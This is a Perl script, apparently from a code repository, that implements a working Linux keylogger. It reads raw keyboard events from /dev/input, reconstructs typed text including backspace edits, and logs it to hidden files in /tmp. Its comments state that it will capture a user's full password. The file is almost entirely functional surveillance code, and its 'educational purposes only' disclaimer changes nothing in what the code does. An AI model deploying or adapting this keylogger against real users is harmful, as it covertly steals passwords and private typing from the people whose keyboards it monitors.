scripts/keylog
2018-09-19 09:41:33 -07:00

371 lines
8.6 KiB
Perl
Executable File

#!/usr/bin/perl -w
use strict;
use warnings;
use threads;
use threads::shared;
# keylog - A simple key logger.
# Usage: keylog <path-to-device-node>
# Example: keylog /dev/input/event0
#
# The user you run this as should have read access to the device node. Most of
# the time, this means you'll need to run this as root.
#
# To find out which device node your keyboard is using, run the command
# `cat /proc/bus/input/devices` and search for your keyboard. There should be
# a line by your keyboard's info that looks like "Handlers=kbd event4" and
# in this case the input device is /dev/input/event4. Update this for any
# other event number that you see instead.
#
# This program prints ALL key events to the terminal (including the key up/down
# events for all keys). This information probably isn't directly useful to you,
# so it also logs "full sentences" to the log file at /tmp/.keylog. The lines
# it logs are probably the most useful to you; if the user hits the backspace
# key, the last key they typed is deleted, etc.. so if a user is typing their
# password and makes a typo and finishes typing, you'll get their full password.
#
# The buffer used for this is saved after 2 seconds of idle time in their typing,
# or when a "separator key" is entered (a separator key is: Enter, Return, or
# Tab). Each buffer is saved to its own line in the log file. If the user is a
# slow typer, one "sentence" may actually span multiple lines, so you'll have to
# figure this out yourself.
#
# This is just a proof of concept and should be used for educational purposes
# only.
#
# --Kirsle
# http://sh.kirsle.net/
# Modify the die handler so we can exit on error messages
# more gracefully.
$SIG{__DIE__} = sub {
my $err = shift;
$err =~ s/ at .+ line .+\.//g;
print $err;
exit(1);
};
# Get the device node from command line.
scalar(@ARGV) or die "Usage: keylog <device-node>\nExample: keylog /dev/input/event0";
my $DEV = $ARGV[0];
# Must run this as root, or be able to read from the device.
if (!-r $DEV) {
die "Can't read from $DEV; got root?";
}
# Hash to keep track of modifier keys.
our $mod = {
shift => 0,
alt => 0,
ctrl => 0,
};
# This scalar holds the "typing buffer". If they pause typing for 2 seconds,
# or hit a "separator key" (return/enter or tab), the buffer is written to disk
# in the log file. The backspace key deletes text in the buffer, etc. This way
# you can see basically what they typed, without having to parse through the
# key up/down events yourself.
my $buffer : shared;
my $lastkey : shared; # Holds the time() of the last key event seen.
my $writenow : shared; # The key parser can force the buffer to write now.
$buffer = '';
$lastkey = 0;
$writenow = 0;
# Spawn a thread to watch the buffer and write it to disk. This way the
# blocking file reads won't prevent the buffer from being written.
my $bufthread = threads->create (\&buffer);
# Open the device for reading.
open (FILE, $DEV);
while (1) {
# Read the next keypress event.
my $line = "";
sysread(FILE, $line, 16);
my @vals = split(//, $line);
if (ord($vals[10]) != 0) {
# Interpret the event.
interpret(ord($vals[10]),ord($vals[12]));
}
}
close (FILE);
# This is the buffer writing thread.
sub buffer {
while (1) {
select(undef,undef,undef,0.1);
# Was there a 2 second delay from the last event?
if ($lastkey == 0) {
next;
}
if ((time() - $lastkey >= 2 && length($buffer) > 0) || $writenow) {
# Write it to disk.
print "Writing buffer to disk\n";
open (WRITE, ">>/tmp/.keylog");
print WRITE ts() . "$buffer\n";
close (WRITE);
$buffer = '';
$lastkey = 0;
$writenow = 0;
}
}
}
# Interpret keycode events from the device node.
sub interpret {
my ($keycode,$state) = @_;
# Store the last keypress time.
$lastkey = time();
# Qwerty keyboard map.
qwerty($keycode,$state);
return;
# This code doesn't run; if you want it to run,
# comment out the "return" just above these
# comments. This is for debugging purposes.
print "[$keycode] ";
if ($state == 0) {
print "up\n";
}
elsif ($state == 1) {
print "down\n";
}
elsif ($state == 2) {
print "repeat\n";
}
else {
print "\n";
}
}
# Interpret keycodes based on QWERTY key map.
sub qwerty {
my ($code,$state) = @_;
return unless $state >= 0 && $state <= 2;
# Handle the modifier keys first.
if ($code == 42 || $code == 54) {
# Shift key.
$mod->{shift} = ($state == 1 ? 1 : 0);
}
elsif ($code == 29 || $code == 97) {
# Ctrl key.
$mod->{ctrl} = ($state == 1 ? 1 : 0);
}
elsif ($code == 56 || $code == 100) {
# Alt key.
$mod->{alt} = ($state == 1 ? 1 : 0);
}
# Qwery keys.
my %keys = (
# Keys that map to two different characters (with shift
# key held down) are an array; element 0 is the non-shifted
# character, element 1 is the shifted character.
# number row
41 => [ '`', '~' ],
2 => [ '1', '!' ],
3 => [ '2', '@' ],
4 => [ '3', '#' ],
5 => [ '4', '$' ],
6 => [ '5', '%' ],
7 => [ '6', '^' ],
8 => [ '7', '&' ],
9 => [ '8', '*' ],
10 => [ '9', '(' ],
11 => [ '0', ')' ],
12 => [ '-', '_' ],
13 => [ '=', '+' ],
# qwerty row
16 => [ 'q', 'Q' ],
17 => [ 'w', 'W' ],
18 => [ 'e', 'E' ],
19 => [ 'r', 'R' ],
20 => [ 't', 'T' ],
21 => [ 'y', 'Y' ],
22 => [ 'u', 'U' ],
23 => [ 'i', 'I' ],
24 => [ 'o', 'O' ],
25 => [ 'p', 'P' ],
26 => [ '[', '{' ],
27 => [ ']', '}' ],
43 => [ '\\', '|' ],
# asdf row
30 => [ 'a', 'A' ],
31 => [ 's', 'S' ],
32 => [ 'd', 'D' ],
33 => [ 'f', 'F' ],
34 => [ 'g', 'G' ],
35 => [ 'h', 'H' ],
36 => [ 'j', 'J' ],
37 => [ 'k', 'K' ],
38 => [ 'l', 'L' ],
39 => [ ';', ':' ],
40 => [ "'", '"' ],
# zxcv row
44 => [ 'z', 'Z' ],
45 => [ 'x', 'X' ],
46 => [ 'c', 'C' ],
47 => [ 'v', 'V' ],
48 => [ 'b', 'B' ],
49 => [ 'n', 'N' ],
50 => [ 'm', 'M' ],
51 => [ ',', '<' ],
52 => [ '.', '>' ],
53 => [ '/', '?' ],
# Other keys
14 => 'Backspace',
28 => 'Return',
96 => 'Enter',
15 => 'Tab',
57 => ' ',
58 => 'Caps Lock',
69 => 'Num Lock',
70 => 'Scroll Lock',
42 => 'L-Shift',
54 => 'R-Shift',
29 => 'L-Ctrl',
97 => 'R-Ctrl',
56 => 'L-Alt',
100 => 'R-Alt',
125 => 'L-Super',
126 => 'R-Super',
127 => 'Menu',
1 => 'Escape',
59 => 'F1',
60 => 'F2',
61 => 'F3',
62 => 'F4',
63 => 'F5',
64 => 'F6',
65 => 'F7',
66 => 'F8',
67 => 'F9',
68 => 'F10',
87 => 'F11',
88 => 'F12',
110 => 'Insert',
102 => 'Home',
107 => 'End',
104 => 'Pg Up',
109 => 'Pg Dn',
111 => 'Del',
99 => 'Print Screen',
119 => 'Pause',
103 => 'Up',
108 => 'Down',
106 => 'Right',
105 => 'Left',
71 => [ 'Num-7', 'Num-Home' ],
72 => [ 'Num-8', 'Num-Up' ],
73 => [ 'Num-9', 'Num-Pg Up' ],
75 => [ 'Num-4', 'Num-Left' ],
76 => 'Num-5',
77 => [ 'Num-6', 'Num-Right' ],
79 => [ 'Num-1', 'Num-End' ],
80 => [ 'Num-2', 'Num-Down' ],
81 => [ 'Num-3', 'Num-Pg Dn' ],
82 => [ 'Num-0', 'Num-Insert' ],
96 => 'Num-/',
55 => 'Num-*',
74 => 'Num--',
78 => 'Num-+',
93 => [ 'Num-.', 'Num-Del' ],
);
# See their matching keypress.
my $keypress = '';
foreach my $key (sort keys %keys) {
if ($code == $key) {
# We have a match! Does the key have a shift-modifier?
if (ref($keys{$key}) eq "ARRAY") {
if ($mod->{shift}) {
$keypress = $keys{$key}->[1];
}
else {
$keypress = $keys{$key}->[0];
}
}
else {
$keypress = $keys{$key};
}
last;
}
}
# Add it to the buffer.
if ($state == 1) {
if (length $keypress > 1) {
if ($keypress eq 'Backspace') {
# Delete the last character off the end of their buffer.
$buffer = substr($buffer,0,(length($buffer) - 1));
}
else {
# Add the special key with {brackets} around it.
$buffer .= "{$keypress}";
}
}
else {
$buffer .= $keypress;
}
}
# If they hit a separator key, save the buffer right now.
if ($state == 1 && ($keypress eq 'Return' || $keypress eq 'Enter' || $keypress eq 'Tab')) {
$writenow = 1;
}
# Print their key.
if ($mod->{shift}) {
$keypress = "(Shift) $keypress";
}
if ($mod->{ctrl}) {
$keypress = "(Ctrl) $keypress";
}
if ($mod->{alt}) {
$keypress = "(Alt) $keypress";
}
if ($state == 1) {
$keypress = "+ $keypress";
}
else {
$keypress = "- $keypress";
}
print "$code $keypress\n";
# Log the raw keypresses too.
open (RAW, ">>/tmp/.rawkeylog");
print RAW ts() . "$code $keypress\n";
close (RAW);
}
sub ts {
my @time = localtime();
return "[" . join(" ",
join("-",
sprintf("%04d", $time[5] + 1900),
sprintf("%02d", $time[4] + 1),
sprintf("%02d", $time[3]),
),
join(":",
sprintf("%02d", $time[2]),
sprintf("%02d", $time[1]),
sprintf("%02d", $time[0]),
),
) . "] ";
}